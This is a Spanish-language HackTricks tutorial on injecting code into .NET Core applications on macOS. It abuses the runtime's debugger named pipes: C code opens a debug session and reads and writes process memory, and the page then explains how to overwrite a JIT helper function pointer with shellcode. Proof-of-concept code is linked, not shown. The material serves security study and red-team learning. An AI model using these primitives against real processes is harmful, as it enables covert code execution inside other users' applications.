12 KiB
Inyección de aplicaciones .Net en macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Depuración de .NET Core
Establecer una sesión de depuración
dbgtransportsession.cpp es responsable de manejar la comunicación entre el depurador y el depurado.
Crea dos tuberías con nombre por proceso .Net en dbgtransportsession.cpp#L127 llamando a twowaypipe.cpp#L27 (uno terminará en -in
y el otro en -out
y el resto del nombre será el mismo).
Entonces, si vas al directorio $TMPDIR
del usuario, podrás encontrar fifos de depuración que podrías usar para depurar aplicaciones .Net:
La función DbgTransportSession::TransportWorker manejará la comunicación desde un depurador.
Lo primero que se requiere que haga un depurador es crear una nueva sesión de depuración. Esto se hace enviando un mensaje a través de la tubería out
que comienza con una estructura MessageHeader
, que podemos obtener del código fuente de .NET:
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
En el caso de una solicitud de nueva sesión, esta estructura se completa de la siguiente manera:
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
Una vez construido, enviamos esto al objetivo utilizando la llamada al sistema write
:
write(wr, &sSendHeader, sizeof(MessageHeader));
Siguiendo nuestro encabezado, necesitamos enviar una estructura sessionRequestData
que contiene un GUID para identificar nuestra sesión:
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
Al enviar nuestra solicitud de sesión, leemos desde la tubería out
una cabecera que indicará si nuestra solicitud para establecer una sesión de depuración ha sido exitosa o no:
read(rd, &sReceiveHeader, sizeof(MessageHeader));
Leer memoria
Con una sesión de depuración establecida, es posible leer memoria utilizando el tipo de mensaje MT_ReadMemory
. Para leer cierta memoria, el código principal necesario sería:
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
El código de prueba de concepto (POC) se encuentra aquí.
Escribir en la memoria
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
El código POC utilizado para hacer esto se puede encontrar aquí.
Ejecución de código .NET Core
Lo primero es identificar, por ejemplo, una región de memoria con permisos rwx
en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la Tabla de Funciones Dinámicas (DFT), que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en jithelpers.h
.
En las versiones x64, esto es sencillo utilizando la técnica de búsqueda de firmas similar a mimikatz para buscar en libcorclr.dll
una referencia al símbolo _hlpDynamicFuncTable
, al cual podemos desreferenciar:
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, MT_GetDCB
. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la dirección de una función auxiliar, m_helperRemoteStartAddr
. Utilizando esta dirección, sabemos exactamente dónde se encuentra libcorclr.dll
en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código shell.
El código POC completo utilizado para la inyección en PowerShell se puede encontrar aquí.
Referencias
- Esta técnica fue tomada de https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.